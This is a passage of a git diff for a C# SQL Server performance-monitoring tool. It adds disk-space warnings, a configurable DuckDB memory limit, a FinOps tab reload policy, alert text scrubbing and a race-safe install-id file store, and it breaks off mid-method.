+    /// <summary>The same read with both sources passed in, so the fallback and unknown paths are testable without a mounted volume.</summary>
+    internal static long? GetAvailableFreeBytes(
+        string path, Func<string, long?> folderReader, Func<string, long?> driveRootReader)
+    {
+        try
+        {
+            var full = Path.GetFullPath(path);
+            return folderReader(full) ?? driveRootReader(full);
+        }
+        catch (Exception)
+        {
+            return null;
+        }
+    }
+
+    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true, ExactSpelling = true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    private static extern bool GetDiskFreeSpaceExW(
+        string lpDirectoryName, out ulong lpFreeBytesAvailableToCaller, out ulong lpTotalNumberOfBytes, out ulong lpTotalNumberOfFreeBytes);
+
+    /// <summary>Free bytes for the folder's own volume, walking up to the nearest existing parent; null when the call fails.</summary>
+    private static long? GetFolderFreeBytes(string fullPath)
+    {
+        try
+        {
+            var folder = fullPath;
+            while (!string.IsNullOrEmpty(folder) && !Directory.Exists(folder))
+            {
+                folder = Path.GetDirectoryName(folder);
+            }
+
+            if (string.IsNullOrEmpty(folder))
+            {
+                return null;
+            }
+
+            return GetDiskFreeSpaceExW(folder, out var available, out _, out _) && available <= long.MaxValue
+                ? (long)available
+                : null;
+        }
+        catch (Exception)
+        {
+            /* no kernel32 export (not Windows), or the call threw: fall back to the drive root */
+            return null;
+        }
+    }
+
+    private static long? GetDriveRootFreeBytes(string fullPath)
+    {
+        var root = Path.GetPathRoot(fullPath);
+        if (string.IsNullOrEmpty(root))
+        {
+            return null;
+        }
+
+        var drive = new DriveInfo(root);
+        return drive.IsReady ? drive.AvailableFreeSpace : null;
+    }
+
+    /// <summary>
+    /// Logs one warning, and returns true, when <paramref name="folder"/>'s volume has less free space than
+    /// <paramref name="neededBytes"/>. Names the folder, the bytes free and the bytes needed, and what needs
+    /// them. Returns false, logging nothing, when there is enough or the free space is unknown.
+    /// </summary>
+    internal static bool WarnIfLow(
+        ILogger? logger, string folder, long neededBytes, string reason, Func<string, long?> availableFreeBytes)
+    {
+        if (!IsLow(folder, neededBytes, availableFreeBytes, out var free))
+        {
+            return false;
+        }
+
+        logger?.LogWarning(
+            "Low disk space for the Lite data folder {Folder}: {FreeBytes} bytes free ({Free}), {NeededBytes} bytes needed ({Needed}) for {Reason}. " +
+            "Free space on that volume, or the archive cannot compact and the database cannot checkpoint, and writes can fail part way",
+            folder, free, FormatBytes(free), neededBytes, FormatBytes(neededBytes), reason);
+        return true;
+    }
+
+    /// <summary>
+    /// True, with the bytes free, when <paramref name="folder"/>'s volume has less than
+    /// <paramref name="neededBytes"/>. False when there is enough or the free space is unknown.
+    /// </summary>
+    internal static bool IsLow(string folder, long neededBytes, Func<string, long?> availableFreeBytes, out long free)
+    {
+        free = 0;
+        if (neededBytes <= 0 || availableFreeBytes(folder) is not long observed || observed >= neededBytes)
+        {
+            return false;
+        }
+
+        free = observed;
+        return true;
+    }
+
+    internal static string FormatBytes(long bytes)
+    {
+        const double Kib = 1024.0;
+        const double Mib = Kib * 1024;
+        const double Gib = Mib * 1024;
+        return bytes switch
+        {
+            >= (long)Gib => (bytes / Gib).ToString("F2", CultureInfo.InvariantCulture) + " GiB",
+            >= (long)Mib => (bytes / Mib).ToString("F1", CultureInfo.InvariantCulture) + " MiB",
+            _ => (bytes / Kib).ToString("F0", CultureInfo.InvariantCulture) + " KiB"
+        };
+    }
+}
diff --git a/Lite/Services/DeltaCalculator.cs b/Lite/Services/DeltaCalculator.cs
index e75d1d8db9..1c5884e720 100644
--- a/Lite/Services/DeltaCalculator.cs
+++ b/Lite/Services/DeltaCalculator.cs
@@ -134,7 +134,7 @@ FROM spinlock_stats
     /* ProcedureStatsCollector keys on plan_handle, falling back to database.schema.object when the
        handle is null; the SQL builds the SAME string (a null part formats as empty, as C# string
        interpolation does) so DISTINCT ON partitions by the key the collector will present. Latest row
-       per key, because a TOP (150) drops and readmits plans between passes. */
+       per key, because a plan that leaves the ten-minute window readmits as a first sighting (the main query keeps every candidate since #5449, so a cap no longer churns it). */
     public const string ProcedureStatsSeedSql = @"
 SELECT DISTINCT ON (server_id, delta_key)
        server_id, delta_key,
diff --git a/Lite/Services/DuckDbAlertHistoryStore.cs b/Lite/Services/DuckDbAlertHistoryStore.cs
index 695864b991..089e1a46b7 100644
--- a/Lite/Services/DuckDbAlertHistoryStore.cs
+++ b/Lite/Services/DuckDbAlertHistoryStore.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Linq;
 using System.Threading.Tasks;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Notifications;
 using PerformanceMonitorLite.Database;
 
@@ -100,8 +101,11 @@ INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, c
             command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = record.NotificationType });
             command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = record.SendError ?? (object)DBNull.Value });
             command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = record.Muted });
-            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = record.DetailText ?? (object)DBNull.Value });
-            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = record.ContextJson ?? (object)DBNull.Value });
+            /* #4348/#5320 Layer 0b: the alert text and its context are judged where they are written, because the
+               source rows an alert was built from may predate the collection-time filter. Clean text is the same
+               instance, so the stored row is unchanged. */
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = DerivedStoreScrub.Text(record.DetailText) ?? (object)DBNull.Value });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = DerivedStoreScrub.Json(record.ContextJson) ?? (object)DBNull.Value });
 
             await command.ExecuteNonQueryAsync();
 
diff --git a/Lite/Services/DuckDbMemoryLimitSetting.cs b/Lite/Services/DuckDbMemoryLimitSetting.cs
new file mode 100644
index 0000000000..70970f5e19
--- /dev/null
+++ b/Lite/Services/DuckDbMemoryLimitSetting.cs
@@ -0,0 +1,178 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json;
+using PerformanceMonitorLite.Database;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// The user-set <c>memory_limit</c> of Lite's main DuckDB connection (#5457, owner ruling 2026-10-08). It was a
+/// hard-coded constant, so a user whose archive made a read run out of memory could not do anything about it.
+///
+/// <para>Stored in settings.json as <see cref="SettingsKey"/>, a whole number of GB. The default is
+/// <see cref="DefaultGb"/> (2 GB, #5381), the minimum 1 GB, the maximum 80% of physical memory rounded down
+/// (DuckDB's own default ceiling), never below the minimum. A missing, unparsable or out-of-range stored value
+/// falls back to the default and says so in the log. The value is applied once at startup
+/// (<see cref="LoadAtStartup"/>): <c>memory_limit</c> belongs to a DuckDB instance, so a changed value takes
+/// effect at the next start.</para>
+///
+/// <para>Compaction's own in-memory 4 GB instance and the data importer's plain connection are separate DuckDB
+/// instances and do not follow this setting.</para>
+/// </summary>
+internal static class DuckDbMemoryLimitSetting
+{
+    internal const string SettingsKey = "duckdb_memory_limit_gb";
+
+    internal const int DefaultGb = 2;
+
+    internal const int MinGb = 1;
+
+    private const double MaxFractionOfPhysical = 0.8;
+
+    private const long BytesPerGb = 1024L * 1024 * 1024;
+
+    /// <summary>
+    /// The largest accepted value for a machine with <paramref name="physicalBytes"/> of memory: 80%, rounded
+    /// down to a whole GB, never below <see cref="MinGb"/>.
+    /// </summary>
+    internal static int MaxGb(long physicalBytes)
+    {
+        if (physicalBytes <= 0)
+        {
+            return DefaultGb;
+        }
+
+        var gb = (long)Math.Floor(physicalBytes * MaxFractionOfPhysical / BytesPerGb);
+        return (int)Math.Clamp(gb, MinGb, int.MaxValue);
+    }
+
+    internal static long PhysicalMemoryBytes() => GC.GetGCMemoryInfo().TotalAvailableMemoryBytes;
+
+    internal static bool IsInRange(long gb, long physicalBytes) => gb >= MinGb && gb <= MaxGb(physicalBytes);
+
+    /// <summary>The sentence the Settings window and the log use for the accepted range.</summary>
+    internal static string RangeText(long physicalBytes) =>
+        $"{MinGb} to {MaxGb(physicalBytes)} GB (a whole number, at most 80% of this machine's memory)";
+
+    /// <summary>
+    /// Resolves the setting from the text of settings.json. <paramref name="fallbackNote"/> is the one log line
+    /// to write when the stored value is missing or unusable, otherwise null.
+    /// </summary>
+    internal static int Resolve(string? settingsText, long physicalBytes, out string? fallbackNote)
+    {
+        fallbackNote = null;
+
+        if (string.IsNullOrWhiteSpace(settingsText))
+        {
+            fallbackNote = $"settings.json has no '{SettingsKey}', so the DuckDB memory limit is the default {DefaultGb} GB.";
+            return DefaultGb;
+        }
+
+        try
+        {
+            using var doc = JsonDocument.Parse(settingsText);
+
+            if (doc.RootElement.ValueKind != JsonValueKind.Object
+                || !doc.RootElement.TryGetProperty(SettingsKey, out var val))
+            {
+                fallbackNote = $"settings.json has no '{SettingsKey}', so the DuckDB memory limit is the default {DefaultGb} GB.";
+                return DefaultGb;
+            }
+
+            if (val.ValueKind != JsonValueKind.Number || !val.TryGetInt32(out var gb))
+            {
+                fallbackNote = $"settings.json '{SettingsKey}' is not a whole number ({val.GetRawText()}), "
+                    + $"so the DuckDB memory limit is the default {DefaultGb} GB.";
+                return DefaultGb;
+            }
+
+            if (!IsInRange(gb, physicalBytes))
+            {
+                fallbackNote = $"settings.json '{SettingsKey}' is {gb}, outside {RangeText(physicalBytes)}, "
+                    + $"so the DuckDB memory limit is the default {DefaultGb} GB.";
+                return DefaultGb;
+            }
+
+            return gb;
+        }
+        catch (JsonException)
+        {
+            fallbackNote = $"settings.json could not be parsed, so the DuckDB memory limit is the default {DefaultGb} GB.";
+            return DefaultGb;
+        }
+    }
+
+    /// <summary>
+    /// Reads the setting and installs it as <see cref="DuckDbInitializer.ConfiguredMemoryLimitGb"/>. Runs at
+    /// startup before the first DuckDB connection is created.
+    /// </summary>
+    internal static void LoadAtStartup(string? settingsText)
+    {
+        var gb = Resolve(settingsText, PhysicalMemoryBytes(), out var note);
+        DuckDbInitializer.ConfiguredMemoryLimitGb = gb;
+        if (note != null)
+        {
+            AppLogger.Info("Settings", note);
+        }
+        else
+        {
+            AppLogger.Info("Settings", $"The DuckDB memory limit is {gb} GB (settings.json '{SettingsKey}').");
+        }
+    }
+
+    /// <summary>
+    /// True when <paramref name="ex"/> (or an inner exception) is DuckDB reporting that it ran out of memory.
+    /// </summary>
+    internal static bool IsOutOfMemory(Exception? ex)
+    {
+        for (var e = ex; e != null; e = e.InnerException)
+        {
+            var m = e.Message;
+            if (m.Contains("Out of Memory", StringComparison.OrdinalIgnoreCase)
+                || m.Contains("could not free up enough memory", StringComparison.OrdinalIgnoreCase)
+                || m.Contains("memory_limit", StringComparison.OrdinalIgnoreCase))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// The start of <see cref="OutOfMemoryHint"/>, which <see cref="AppLogger"/> looks for so a line that was
+    /// already described is not hinted twice. It must not contain DuckDB's own "Out of Memory Error:" text.
+    /// </summary>
+    internal const string HintMarker = "DuckDB ran out of memory (its memory limit is";
+
+    /// <summary>
+    /// The sentence appended to a DuckDB out-of-memory error: names the setting, where it is, and its current
+    /// value.
+    /// </summary>
+    internal static string OutOfMemoryHint(int currentGb) =>
+        $"{HintMarker} {currentGb} GB). Raise \"DuckDB memory limit\" under "
+        + "Dashboard Defaults in Settings; the new value takes effect after Lite restarts.";
+
+    /// <summary>
+    /// The text a surface shows for a failed read: the exception's message, and, for a DuckDB out-of-memory
+    /// error, the hint naming the setting and its current value. Logs one line for that case too.
+    /// </summary>
+    internal static string Describe(Exception ex, string logSource = "DuckDB")
+    {
+        if (!IsOutOfMemory(ex))
+        {
+            return ex.Message;
+        }
+
+        var hint = OutOfMemoryHint(DuckDbInitializer.ConfiguredMemoryLimitGb);
+        AppLogger.Warn(logSource, hint);
+        return $"{ex.Message} {hint}";
+    }
+}
diff --git a/Lite/Services/EmailAlertService.cs b/Lite/Services/EmailAlertService.cs
index 5858d45056..20c7930a30 100644
--- a/Lite/Services/EmailAlertService.cs
+++ b/Lite/Services/EmailAlertService.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitorLite.Services;
@@ -190,6 +191,9 @@ await _historyStore.RecordAlertAsync(new AlertHistoryRecord(
     /// </summary>
     public Task<AlertDelivery?> SendFindingAlertAsync(FindingAlert alert)
     {
+        /* #5320 (part of #4348): the statement filter, before anything is composed, sent or written, so the
+           digest row, the channels and the history row all carry the filtered context and prose. */
+        alert = AlertStatementFilter.Apply(alert);
         var serverId = int.TryParse(alert.ServerId, out var sid) ? sid : 0;
 
         if (alert.Route == FindingRoute.Digest)
@@ -231,6 +235,9 @@ all read it from there. */
             return null;
         try
         {
+        /* #5320 (part of #4348): the statement filter, before anything is composed, sent or written, so the
+           digest row, the channels and the history row all carry the filtered context and prose. */
+            named = AlertStatementFilter.Apply(named);
             var (serverName, currentValue, context) = FindingSummary.Compose(named);
             var result = await _core.TrySendAsync(
                 FindingSummary.MetricName, serverName, currentValue, named.Count.ToString(),
diff --git a/Lite/Services/FinOpsServerInventory.cs b/Lite/Services/FinOpsServerInventory.cs
index 88f7f1669a..a4d1a1bb56 100644
--- a/Lite/Services/FinOpsServerInventory.cs
+++ b/Lite/Services/FinOpsServerInventory.cs
@@ -107,6 +107,7 @@ internal static void ApplyCollectedMetrics(
             if (row.StorageTotalGb.HasValue) item.StorageTotalGb = row.StorageTotalGb;
             if (row.IdleDbCount.HasValue) item.IdleDbCount = row.IdleDbCount;
             if (row.ProvisioningStatus != null) item.ProvisioningStatus = row.ProvisioningStatus;
+            if (row.HealthScore.HasValue) item.HealthScore = row.HealthScore;
         }
         catch (Exception ex)
         {
diff --git a/Lite/Services/FinOpsShowReloadPolicy.cs b/Lite/Services/FinOpsShowReloadPolicy.cs
new file mode 100644
index 0000000000..5a8fecc155
--- /dev/null
+++ b/Lite/Services/FinOpsShowReloadPolicy.cs
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// When the FinOps tab re-reads everything for the selected server as it is shown. The tab loads once at start-up, before the first
+/// collection has run, so a store that was closed for days (or a server enrolled a minute ago) shows "No Data" and idle-database
+/// claims read from that empty window until the server is reselected. Reselecting runs the whole per-server load again; showing the
+/// tab does the same. The FIRST show after start-up always reloads, whatever the age of the start-up load (a user who opens Lite and
+/// goes straight to FinOps would otherwise see the same empty pre-collection data). Later shows skip the reload when the last whole
+/// load is recent, so flipping between tabs is not a reload storm. A tab that stays visible while a collection for its selected
+/// server completes reloads too, at most once a minute.
+/// </summary>
+internal static class FinOpsShowReloadPolicy
+{
+    /// <summary>How recent the last whole per-server load may be for a show to skip the reload: flipping between tabs does not re-run fourteen reads each time.</summary>
+    internal static readonly TimeSpan MinAge = TimeSpan.FromSeconds(30);
+
+    /// <summary>How recent the last whole load may be for a completed collection to skip the reload: a collector cycle runs every minute, and 14 reads per cycle is the most a visible tab should add.</summary>
+    internal static readonly TimeSpan CollectionReloadMinAge = TimeSpan.FromSeconds(60);
+
+    /// <summary>
+    /// True when showing the tab should run the whole per-server load: this is the first show since start-up
+    /// (<paramref name="firstShowSinceStart"/>, whatever the age of the start-up load), none has run yet, or the last one began at
+    /// least <see cref="MinAge"/> ago.
+    /// </summary>
+    internal static bool ShouldReloadOnShow(DateTime? lastLoadStartedUtc, DateTime nowUtc, bool firstShowSinceStart = false) =>
+        firstShowSinceStart || lastLoadStartedUtc is not DateTime last || nowUtc - last >= MinAge;
+
+    /// <summary>
+    /// True when a collection for the selected server that finished at <paramref name="lastCollectionUtc"/> should reload the
+    /// visible tab: it finished after the last whole load began (that load may have read the window before it), and that load began
+    /// at least <see cref="CollectionReloadMinAge"/> ago. No load yet reloads.
+    /// </summary>
+    internal static bool ShouldReloadAfterCollection(DateTime? lastLoadStartedUtc, DateTime lastCollectionUtc, DateTime nowUtc) =>
+        lastLoadStartedUtc is not DateTime last || (lastCollectionUtc > last && nowUtc - last >= CollectionReloadMinAge);
+}
diff --git a/Lite/Services/InstallIdStore.cs b/Lite/Services/InstallIdStore.cs
new file mode 100644
index 0000000000..880209d14b
--- /dev/null
+++ b/Lite/Services/InstallIdStore.cs
@@ -0,0 +1,516 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Security.Principal;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+using System.Threading;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// Lite's install id (#4961): the eight characters (see <see cref="InstallId"/>) that tell this install's
+/// Extended Events sessions from another install's, kept in its own file at the data root,
+/// <c>install-id.json</c>, beside the machine name and Windows user SID it was made for.
+///
+/// <para><b>Made once.</b> A process-wide lock and a cache make the first resolve happen once however many
+/// collectors ask at the same moment. Across processes a new id is written to a temp file in the same folder and
+/// moved to its place without replacing anything, which only one creator can win and which a crash cannot leave
+/// half done: the final path never holds a partial file. A loser re-reads the winner's file and uses its id. A reader
+/// that finds the file locked waits for the holder instead of treating the lock as a damaged file.</para>
+///
+/// <para><b>Rebuilt when its content does not fit.</b> A value that is not eight lowercase hex digits, a file that is
+/// not the id record (not JSON, or no record), and a file made for a different machine or Windows user (a data folder
+/// copied to another machine or opened by another user) each make a new id, and one Warning that names the old id (or
+/// "invalid") and the new one. The bad file is renamed aside and the new id is then created the way a first one is, so processes that replace the same file end on one id and a reader never sees half a file.
+/// Sessions made under the old id are left alone: the install it belonged to may still be running.</para>
+///
+/// <para><b>Never replaced unread, never used unsaved.</b> A file that exists but cannot be read (an I/O error, or a lock
+/// held past the wait) says nothing about the id in it, so it is left alone and the store has no id: the callers create,
+/// start and drop no session, and ask again on a later cycle, no sooner than a minute after the last try. A new id that
+/// cannot be saved is not used either, because sessions made under it could not be found again after a restart. The first
+/// failure is one Warning with the error; the repeats are Debug until an id is read.</para>
+///
+/// <para>Import Settings never carries this file (<see cref="SettingsImport"/>): two installs that shared an id
+/// would drop each other's sessions.</para>
+/// </summary>
+public sealed class InstallIdStore
+{
+    /// <summary>The file at the data root that holds the id and the binding.</summary>
+    public const string FileName = "install-id.json";
+
+    private const string LogSource = "InstallId";
+
+    /// <summary>How many times a resolve reads the file again after finding another process's work in the way, before it
+    /// gives up until the next cycle.</summary>
+    private const int MaxResolveAttempts = 4;
+
+    /// <summary>
+    /// How long a read waits for another process that still holds the file open: the creator's few
+    /// milliseconds of writing, with room for a scanner that opens a new file for a moment. Past this the file is
+    /// read as unreadable.
+    /// </summary>
+    private static readonly TimeSpan s_lockedReadBudget = TimeSpan.FromSeconds(2);
+
+    private static readonly TimeSpan s_lockedReadPause = TimeSpan.FromMilliseconds(20);
+
+    /// <summary>How long a resolve that ended with no id waits before the next call goes back to the disk.</summary>
+    private static readonly TimeSpan s_retryInterval = TimeSpan.FromSeconds(60);
+
+    /// <summary>The process-wide lock the first resolve runs under, whichever store object asks.</summary>
+    private static readonly object s_resolveLock = new();
+
+    private static readonly JsonSerializerOptions s_writeOptions = new() { WriteIndented = true };
+
+    private readonly string _directory;
+    private readonly string _machineName;
+    private readonly string _userSid;
+    private string? _id;
+    private string? _failure;
+    private DateTime _retryAt = DateTime.MinValue;
+    private bool _failureWarned;
+    private int _resolveCount;
+
+    /// <summary>
+    /// The store takes the folder, the machine name and the Windows user SID rather than reading them itself, so a
+    /// test never touches a real data root. <see cref="ForCurrentUser"/> builds the one the app uses.
+    /// </summary>
+    public InstallIdStore(string directory, string machineName, string? userSid)
+    {
+        _directory = directory;
+        _machineName = machineName;
+        _userSid = userSid ?? "";
+        FilePath = Path.Combine(directory, FileName);
+    }
+
+    /// <summary>The full path of the id file.</summary>
+    public string FilePath { get; }
+
+    /// <summary>How many times this store has gone to the disk to resolve its id. A test reads it.</summary>
+    internal int ResolveCount => Volatile.Read(ref _resolveCount);
+
+    /// <summary>
+    /// Runs in the moment between this store finding no file and creating one, so a test can make another
+    /// process win that race at the exact point it matters. Nothing in the app sets it.
+    /// </summary>
+    internal Action? BeforeCreate { get; set; }
+
+    /// <summary>
+    /// Runs between a new id's temp file being written and its move into place, so a test can stop the create at the
+    /// point a crash would. Nothing in the app sets it.
+    /// </summary>
+    internal Action? BeforeMove { get; set; }
+
+    /// <summary>
+    /// Runs in the moment between this store judging the file bad and starting to replace it, so a test can make another
+    /// process replace the file at the exact point it matters. Nothing in the app sets it.
+    /// </summary>
+    internal Action? BeforeReplace { get; set; }
+
+    /// <summary>How long a read waits for a locked file. A test shortens it; the app keeps the default.</summary>
+    internal TimeSpan LockedReadBudget { get; set; } = s_lockedReadBudget;
+
+    /// <summary>The clock the retry interval runs on. A test sets it; the app keeps the real one.</summary>
+    internal Func<DateTime> UtcNowForTests { get; set; } = () => DateTime.UtcNow;
+
+    /// <summary>
+    /// Why this store has no id right now (the file could not be read, or a new id could not be saved), or null while it
+    /// has one or has not tried. The collection service puts it in the fault that says why no session was made.
+    /// </summary>
+    internal string? Failure => Volatile.Read(ref _failure);
+
+    /// <summary>
+    /// A store for the running user on this machine: the real machine name and the current Windows user's SID.
+    /// </summary>
+    public static InstallIdStore ForCurrentUser(string directory)
+    {
+        string? sid = null;
+        try
+        {
+            using var identity = WindowsIdentity.GetCurrent();
+            sid = identity.User?.Value;
+        }
+        catch (Exception ex)
+        {
+            /* The binding then rests on the machine alone; the id still works. */
+            AppLogger.Warn(LogSource,
+                $"The Windows user could not be read for the install id ({ex.GetType().Name}); the id is bound to the machine only.");
+        }
+
+        return new InstallIdStore(directory, Environment.MachineName, sid);
+    }
+
+    /// <summary>
+    /// This install's id, or null while it cannot be had. The first call resolves it (reads the file, or makes it) under
+    /// the process-wide lock, so parallel first sweeps share one resolve; every later call returns the cached value
+    /// without touching the disk. A resolve that ends with no id (the file exists and cannot be read, or a new id cannot
+    /// be saved) is not cached: calls within a minute answer null without touching the file, and the first call after it
+    /// tries again.
+    /// </summary>
+    public string? GetId()
+    {
+        var cached = Volatile.Read(ref _id);
+        if (cached is not null)
+        {
+            return cached;
+        }
+
+        lock (s_resolveLock)
+        {
+            if (_id is not null)
+            {
+                return _id;
+            }
+
+            if (UtcNowForTests() < _retryAt)
+            {
+                return null;
+            }
+
+            Interlocked.Increment(ref _resolveCount);
+            var id = Resolve(out var failure);
+            if (id is null)
+            {
+                _retryAt = UtcNowForTests().Add(s_retryInterval);
+                Volatile.Write(ref _failure, failure);
+
+                var line = $"This install has no id for now: {failure}. No Extended Events session is created, started or dropped without one. The next cycle tries again.";
+                if (_failureWarned)
+                {
+                    AppLogger.Debug(LogSource, line);
+                }
+                else
+                {
+                    _failureWarned = true;
+                    AppLogger.Warn(LogSource, line);
+                }
+
+                return null;
+            }
+
+            Volatile.Write(ref _failure, null);
+            Volatile.Write(ref _id, id);
+            AppLogger.Info(LogSource, $"This install's id is {id}.");
+            return id;
+        }
+    }
+
+    /// <summary>
+    /// Reads the file, or makes it. Null (with <paramref name="failure"/> saying why) when the file exists and cannot be
+    /// read, or when a new id cannot be saved.
+    /// </summary>
+    private string? Resolve(out string? failure)
+    {
+        failure = null;
+        for (var attempt = 0; attempt < MaxResolveAttempts; attempt++)
+        {
+            var read = ReadFile(FilePath);
+
+            if (read.Kind == ReadKind.Missing)
+            {
+                BeforeCreate?.Invoke();
+
+                var candidate = InstallId.NewId();
+                var created = TryCreate(candidate, out var saveFailure);
+                if (created == CreateOutcome.Created)
+                {
+                    return candidate;
+                }
+
+                if (created == CreateOutcome.NotSaved)
+                {
+                    failure = $"a new id could not be saved to {FilePath} ({saveFailure})";
+                    return null;
+                }
+
+                /* Another process made the file first. Its id is the install's id: read it back. */
+                read = ReadFile(FilePath);
+            }
+
+            if (read.Kind == ReadKind.Unreadable)
+            {
+                /* The file is there and cannot be read right now: nothing is known about the id in it, so it is not replaced. */
+                failure = $"the id file {FilePath} could not be read ({read.Detail})";
+                return null;
+            }
+
+            if (read.File is { } file && Matches(file))
+            {
+                return file.Id;
+            }
+
+            var outcome = Replace(read, out var replacement, out failure);
+            if (outcome != ReplaceOutcome.Again)
+            {
+                return replacement;
+            }
+        }
+
+        failure = $"the id file {FilePath} kept changing while it was being settled";
+        return null;
+    }
+
+    /// <summary>
+    /// Replaces a file whose content does not fit, and says so in one Warning that names both ids. The bad file is renamed
+    /// aside first and the new id is then created the way a first id is, without replacing anything, so of several processes
+    /// that found the same bad file one wins each step and every other ends on the winner's id: a loser of the rename finds
+    /// the file gone, and a loser of the create finds the winner's file and reads it back (<see cref="ReplaceOutcome.Again"/>).
+    /// A replacer that was slow can move aside a file that is no longer the one it judged, a good one another process has
+    /// just made; it puts that file back and reads again. Null (with <paramref name="failure"/>) when the new id cannot be
+    /// saved: it is not used, and the file is put back as it was.
+    /// </summary>
+    private ReplaceOutcome Replace(ReadResult read, out string? id, out string? failure)
+    {
+        id = null;
+        failure = null;
+        var oldId = read.File is { } old && InstallId.IsValid(old.Id) ? old.Id! : null;
+
+        var why = read.Kind switch
+        {
+            ReadKind.Invalid => $"The file does not hold an id record ({read.Detail}).",
+            ReadKind.Missing => "The file went missing while it was being made.",
+            _ when oldId is null => "The id in the file is not eight lowercase hex digits.",
+            _ => "The file was made for a different machine or Windows user.",
+        };
+
+        BeforeReplace?.Invoke();
+
+        string? aside;
+        try
+        {
+            aside = MoveAside();
+        }
+        catch (Exception ex)
+        {
+            failure = $"the id file {FilePath} could not be replaced ({ex.GetType().Name}: {ex.Message})";
+            return ReplaceOutcome.Failed;
+        }
+
+        if (aside is not null && ReadFile(aside) is { Kind: ReadKind.Read, File: { } moved } && Matches(moved))
+        {
+            PutBack(aside);
+            return ReplaceOutcome.Again;
+        }
+
+        var newId = InstallId.NewId();
+        var created = TryCreate(newId, out var saveFailure);
+        if (created == CreateOutcome.NotSaved)
+        {
+            PutBack(aside);
+            failure = $"a replacement id could not be saved to {FilePath} ({saveFailure})";
+            return ReplaceOutcome.Failed;
+        }
+
+        DeleteQuietly(aside);
+        if (created == CreateOutcome.Conflict)
+        {
+            return ReplaceOutcome.Again;
+        }
+
+        var tail = oldId is null ? "" : " Sessions made under the old id are left alone.";
+        AppLogger.Warn(LogSource,
+            $"Install id replaced in {FilePath}: old id {oldId ?? "invalid"}, new id {newId}. {why}{tail}");
+
+        id = newId;
+        return ReplaceOutcome.Done;
+    }
+
+    /// <summary>
+    /// Renames the id file to a name of its own beside it and returns that name, or null when the file is already gone
+    /// (another process moved it). A rename takes the file from one process only.
+    /// </summary>
+    private string? MoveAside()
+    {
+        var aside = Path.Combine(_directory, $"{FileName}.{Guid.NewGuid():N}.replaced");
+        try
+        {
+            File.Move(FilePath, aside, overwrite: false);
+            return aside;
+        }
+        catch (Exception ex) when (ex is FileNotFoundException or DirectoryNotFoundException)
+        {
+            return null;
+        }
+    }
+
+    /// <summary>Puts a file moved aside back at the id file's path, unless a file is there by now (it stands, and the one
+    /// moved aside goes).</summary>
+    private void PutBack(string? aside)
+    {
+        if (aside is null)
+        {
+            return;
+        }
+
+        try
+        {
+            File.Move(aside, FilePath, overwrite: false);
+        }
+        catch (IOException) when (File.Exists(FilePath))
+        {
+            DeleteQuietly(aside);
+        }
+        catch
+        {
+            /* Best effort: the next resolve reads whatever is at the path. */
+        }
+    }
+
+    private static void DeleteQuietly(string? path)
+    {
+        if (path is null)
+        {
+            return;
+        }
+
+        try { File.Delete(path); } catch { /* best effort: a leftover file is never read as the id file */ }
+    }
+
+    private bool Matches(IdFile file) =>
+        InstallId.IsValid(file.Id)
+        && string.Equals(file.Machine, _machineName, StringComparison.OrdinalIgnoreCase)
+        && string.Equals(file.UserSid, _userSid, StringComparison.OrdinalIgnoreCase);
+
+    private byte[] Serialize(string id) =>
+        JsonSerializer.SerializeToUtf8Bytes(new IdFile { Id = id, Machine = _machineName, UserSid = _userSid }, s_writeOptions);
+
+    /// <summary>
+    /// Writes the id to a temp file beside the id file and moves it into place without replacing anything, so the final
+    /// path never holds a partial file, whatever stops the write. "Conflict" means the final path already exists, which
+    /// is the other process winning (its file is left as it is); anything else that goes wrong is "not saved".
+    /// </summary>
+    private CreateOutcome TryCreate(string id, out string? failure)
+    {
+        failure = null;
+        string? temp = null;
+        try
+        {
+            temp = WriteTemp(id);
+            BeforeMove?.Invoke();
+            File.Move(temp, FilePath, overwrite: false);
+            temp = null;
+            return CreateOutcome.Created;
+        }
+        catch (IOException) when (File.Exists(FilePath))
+        {
+            return CreateOutcome.Conflict;
+        }
+        catch (Exception ex)
+        {
+            failure = $"{ex.GetType().Name}: {ex.Message}";
+            return CreateOutcome.NotSaved;
+        }
+        finally
+        {
+            if (temp is not null)
+            {
+                try { File.Delete(temp); } catch { /* best effort: a leftover temp is never read as the id file */ }
+            }
+        }
+    }
+
+    /// <summary>
+    /// Writes the id to a new temp file beside the id file, flushes it through to the disk, and returns its path. The flush
+    /// comes before any move: a move is a rename, so without it a power loss shortly after the move could leave the final
+    /// path holding a file whose content never reached the disk.
+    /// </summary>
+    private string WriteTemp(string id)
+    {
+        Directory.CreateDirectory(_directory);
